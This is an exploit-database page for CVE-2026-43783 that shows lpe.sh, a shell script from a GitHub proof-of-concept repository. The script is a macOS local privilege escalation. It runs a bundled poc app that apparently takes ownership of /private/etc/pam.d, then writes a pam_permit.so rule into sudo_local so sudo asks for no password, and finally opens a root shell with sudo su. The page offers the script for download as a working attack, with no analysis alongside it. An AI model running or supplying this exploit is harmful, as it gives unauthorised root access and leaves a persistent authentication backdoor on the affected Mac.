Exploit database

GH-8e7e9eb2c7b60cee7ac6a19860df93ba

andrd3v/cve-2026-43783

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43783

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files7
andrd3v/cve-2026-43783Revision 289749cbc876

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

lpe.sh

Shell · 399 bytes
#!/bin/sh
set -e

PAM_DIR="/private/etc/pam.d"
SUDO_LOCAL="$PAM_DIR/sudo_local"


./poc.app/Contents/MacOS/poc &
POC_PID=$!
sleep 4
kill $POC_PID 2>/dev/null || true
wait $POC_PID 2>/dev/null || true

if [ "$(stat -f %u "$PAM_DIR")" != "$(id -u)" ]; then
    echo "chown failed"
    exit 1
fi

echo 'auth       sufficient     pam_permit.so' > "$SUDO_LOCAL"
chmod 644 "$SUDO_LOCAL"


sudo id
sudo su